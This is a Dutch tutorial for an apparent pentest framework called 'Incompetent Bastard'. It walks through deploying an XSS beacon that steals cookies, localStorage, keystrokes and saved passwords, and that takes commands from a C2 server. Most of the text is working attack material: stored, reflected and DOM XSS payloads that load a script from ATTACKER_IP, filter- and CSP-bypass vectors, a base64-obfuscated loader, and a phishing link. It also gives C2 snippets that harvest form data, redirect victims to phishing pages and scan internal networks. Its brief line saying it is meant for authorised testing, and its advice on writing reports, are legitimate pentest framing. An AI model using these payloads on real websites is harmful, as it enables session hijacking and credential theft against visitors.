XSS Beacon Opzetten met Incompetent Bastard
Cross-Site Scripting (XSS) is een kwetsbaarheid waarbij een aanvaller kwaadaardige scripts injecteert in webpagina’s die door andere gebruikers worden bekeken. Incompetent Bastard (IB) biedt een ingebouwde XSS-beacon die automatisch cookies, toetsaanslagen, localStorage en browser-informatie verzamelt van gehoekte clients. Bovendien kun je via het Command & Control (C2) systeem opdrachten naar gehoekte browsers sturen. In deze tutorial zetten we stap voor stap een XSS-beacon op en leren we het volledige dashboard te gebruiken.
Deze tutorial is uitsluitend bedoeld voor gebruik in geautoriseerde testomgevingen.
Vereisten
- Een draaiende Incompetent Bastard instance op
http://ATTACKER_IP:5000 - Het IB dashboard bereikbaar op
http://127.0.0.1:5000/dashboard/xxs - Een kwetsbare webapplicatie (bijv. DVWA, bWAPP) of eigen testsite
- Een webbrowser met developer tools (F12)
- Basiskennis van HTML en JavaScript
IB – Controleer of je IB-instance correct
geconfigureerd is. Het IP-adres in de instellingen
(/api/settings) moet overeenkomen met het adres dat de
doelbrowsers kunnen bereiken.
Stap 1: Hoe de XSS Beacon Werkt
De IB beacon is een JavaScript-bestand dat geserveerd wordt via
/x.js (of /xxs.js). Wanneer een browser dit
script laadt, gebeurt het volgende:
- Cookie-diefstal – Stuurt
document.cookienaar/xxs/cookies - localStorage-extractie – Stuurt de volledige
localStorage naar
/xxs/localstorage - Keylogger – Registreert alle toetsaanslagen en
klikken, stuurt deze naar
/xxs/keylogger - Credential harvesting – Plaatst onzichtbare invoervelden om door de browser opgeslagen wachtwoorden te vangen
- C2 polling – Elke 5 seconden pollt de beacon
/xxs/commandsvoor nieuwe opdrachten
Het dashboard op /dashboard/xxs toont alle verzamelde
data per client.
Stap 2: Stored XSS – Beacon Injecteren
Bij stored XSS wordt je payload opgeslagen in de doelapplicatie en uitgevoerd bij elke gebruiker die de pagina bezoekt.
Basis script-tag injectie
De eenvoudigste manier om de beacon te laden:
<script src="http://ATTACKER_IP:5000/x.js"></script>Plaats dit in een invoerveld dat niet gesaniteerd wordt, zoals: - Commentaarvelden of gastenboeken - Forumberichten of profielomschrijvingen - Beoordelingen of reviews
Voorbeeld: Commentaarveld
Stel dat een blogapplicatie commentaren opslaat zonder sanitatie:
Leuk artikel!<script src="http://10.10.14.5:5000/x.js"></script>Elke bezoeker van de pagina laadt nu de beacon.
Alternatieve injectiemethoden
Als <script> tags gefilterd worden, probeer dan
alternatieve vectoren:
<!-- Via event handler -->
<img src=x onerror="var s=document.createElement('script');s.src='http://ATTACKER_IP:5000/x.js';document.body.appendChild(s);">
<!-- Via SVG -->
<svg onload="var s=document.createElement('script');s.src='http://ATTACKER_IP:5000/x.js';document.body.appendChild(s);">
<!-- Via iframe -->
<iframe src="javascript:var s=document.createElement('script');s.src='http://ATTACKER_IP:5000/x.js';document.body.appendChild(s);" style="display:none">Stap 3: Reflected XSS – Beacon via URL
Bij reflected XSS wordt de payload meegegeven in de URL en direct weergegeven.
Kwetsbaarheid vinden
Zoek naar parameters die teruggekaatst worden in de HTML:
http://doelwit.lab/zoeken?q=testwaarde
Als testwaarde ongeescaped in de HTML verschijnt, is het
kwetsbaar.
Beacon via URL-parameter
http://doelwit.lab/zoeken?q=<script src="http://ATTACKER_IP:5000/x.js"></script>
URL-encoded versie (voor gebruik in links):
http://doelwit.lab/zoeken?q=%3Cscript%20src%3D%22http%3A%2F%2FATTACKER_IP%3A5000%2Fx.js%22%3E%3C%2Fscript%3E
Phishing-link versturen
Wrap de URL in een link die er onschuldig uitziet:
<a href="http://doelwit.lab/zoeken?q=%3Cscript+src%3D%22http%3A%2F%2F10.10.14.5%3A5000%2Fx.js%22%3E%3C%2Fscript%3E">
Klik hier om je account te verifieren
</a>Stap 4: Het XSS Dashboard Gebruiken
Navigeer naar http://127.0.0.1:5000/dashboard/xxs om
alle gehoekte clients en verzamelde data te bekijken.
Hooked Clients
Het bovenste paneel toont actief gehoekte browsers. Een client wordt als actief beschouwd als deze in de afgelopen 5 minuten een heartbeat heeft gestuurd via de C2 polling.
Per client zie je: - IP-adres van de gehoekte browser - User-Agent string (browser en OS informatie) - Laatste heartbeat tijdstip
IB – De API endpoint /api/xxs/hooked
geeft een JSON-overzicht van alle actieve clients. Gebruik dit voor
scripting: curl http://127.0.0.1:5000/api/xxs/hooked
Gestolen Cookies
Het cookies-paneel toont alle onderschepte cookies per client:
- IP en User-Agent van de client
- Locatie (Referer header, de pagina waar de cookie gestolen is)
- Cookie-data (alle cookies van het domein)
Je kunt cookies downloaden in Netscape cookie-formaat via de
downloadknop. Dit bestand kun je direct importeren in tools als
curl:
# Gebruik gestolen cookies
curl -b cookies_10.10.10.5.txt http://doelwit.lab/adminKeylogger Data
Alle toetsaanslagen en klikgebeurtenissen worden geregistreerd:
- Individuele toetsen worden vastgelegd
- Klikken worden gelogd als
[klik]TAG#id.class - Data wordt geaggregeerd per sessie (IP + User-Agent + locatie)
Download de keylog als tekstbestand voor analyse.
LocalStorage Data
De volledige inhoud van window.localStorage wordt
geexfiltreerd. Dit kan bevatten: - JWT tokens of sessietokens -
Gebruikersvoorkeuren en gecachte data - API-sleutels die clientside zijn
opgeslagen
Stap 5: C2 Commando’s naar Gehoekte Browsers
Het C2-systeem stelt je in staat om JavaScript-opdrachten uit te voeren in gehoekte browsers.
Opdracht aanmaken via API
# Opdracht voor alle gehoekte clients
curl -X POST http://127.0.0.1:5000/api/xxs/commands \
-H "Content-Type: application/json" \
-d '{"host":"*","opdracht":"return document.title;"}'
# Opdracht voor specifiek IP
curl -X POST http://127.0.0.1:5000/api/xxs/commands \
-H "Content-Type: application/json" \
-d '{"host":"10.10.10.5","opdracht":"return document.cookie;"}'Handige C2 opdrachten
// Huidige URL ophalen
return window.location.href;
// Screenshot-achtige info verzamelen
return document.documentElement.outerHTML.substring(0, 5000);
// Formuliergegevens ophalen
var forms = document.forms;
var data = [];
for (var i = 0; i < forms.length; i++) {
var inputs = forms[i].elements;
for (var j = 0; j < inputs.length; j++) {
data.push(inputs[j].name + '=' + inputs[j].value);
}
}
return data.join('&');
// Redirect naar phishing-pagina
window.location = 'http://ATTACKER_IP:5000/phishing';
return 'redirected';
// Interne netwerk-scan via img tags
var results = [];
for (var i = 1; i < 255; i++) {
var img = new Image();
img.src = 'http://192.168.1.' + i + ':80/favicon.ico';
}
return 'scanning';Opdracht-status controleren
# Alle opdrachten en hun status ophalen
curl http://127.0.0.1:5000/api/xxs/commands
# Afgeronde opdrachten opschonen
curl -X POST http://127.0.0.1:5000/api/xxs/commands/clearElke opdracht doorloopt drie statussen: 1. queued –
Wacht op ophalen door de beacon 2. delivered – Afgeleverd
bij de client 3. completed – Resultaat ontvangen
Stap 6: Geavanceerde XSS Technieken
DOM-based XSS
Bij DOM-based XSS wordt de kwetsbaarheid volledig clientside verwerkt:
http://doelwit.lab/pagina#<img src=x onerror="var s=document.createElement('script');s.src='http://ATTACKER_IP:5000/x.js';document.body.appendChild(s);">
Zoek naar JavaScript-code die location.hash,
document.URL of document.referrer onveilig
verwerkt.
Filter-bypass technieken
<!-- Case variaties -->
<ScRiPt SrC="http://ATTACKER_IP:5000/x.js"></ScRiPt>
<!-- Zonder aanhalingstekens -->
<script src=http://ATTACKER_IP:5000/x.js></script>
<!-- Dubbele encoding -->
%253Cscript%2520src%253D%2522http%253A%252F%252FATTACKER_IP%253A5000%252Fx.js%2522%253E%253C%252Fscript%253E
<!-- Via JavaScript protocol -->
<a href="javascript:eval(atob('dmFyIHM9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnc2NyaXB0Jyk7cy5zcmM9J2h0dHA6Ly9BVFRBQ0tFUl9JUDo1MDAwL3guanMnO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQocyk7'))">klik</a>Content Security Policy omzeilen
Als de doelsite een CSP heeft die externe scripts blokkeert:
<!-- Gebruik bestaand whitelisted domein als proxy -->
<script src="https://whitelisted-cdn.com/callback?url=http://ATTACKER_IP:5000/x.js"></script>
<!-- JSONP endpoints als gadget -->
<script src="https://doelwit.lab/api/jsonp?callback=eval(atob('...'))//"></script>Stap 7: Bewijsvoering en Rapportage
Documenteer je XSS-bevinding grondig:
- Screenshot van de geinjecteerde payload in de broncode
- Screenshot van het IB dashboard met verzamelde cookies/keystrokes
- Reproductiestappen met exacte URL en payload
- Impact – beschrijf wat een aanvaller kan bereiken (sessiekaping, credential diefstal)
IB – Gebruik de Findings module
(/dashboard/findings) om je XSS-bevinding direct met
CVSS-score en OWASP-categorie vast te leggen.
Voorbeeld rapportagetekst
Kwetsbaarheid: Stored Cross-Site Scripting in commentaarveld
Locatie: http://doelwit.lab/blog/artikel/42
Parameter: comment_body
Payload: <script src="http://ATTACKER_IP:5000/x.js"></script>
Impact: Sessiekaping, credential diefstal, keylogging van alle bezoekers
CVSS 3.1: 8.1 (High)
Samenvatting
In deze tutorial heb je geleerd hoe je de Incompetent Bastard XSS beacon opzet en gebruikt:
- Beacon injectie – Laad
/x.jsvia stored of reflected XSS in de doelapplicatie. - Data verzamelen – Cookies, toetsaanslagen, localStorage en credentials worden automatisch naar het IB dashboard gestuurd.
- C2 opdrachten – Stuur JavaScript-commando’s naar gehoekte browsers via de API.
- Dashboard monitoring – Bekijk alle actieve clients en verzamelde data in realtime.
- Geavanceerde technieken – Omzeil filters en CSP met alternatieve injectiemethoden.
Het IB XSS-framework geeft je een compleet overzicht van de impact van een XSS-kwetsbaarheid, wat essentieel is voor een overtuigende rapportage aan de opdrachtgever.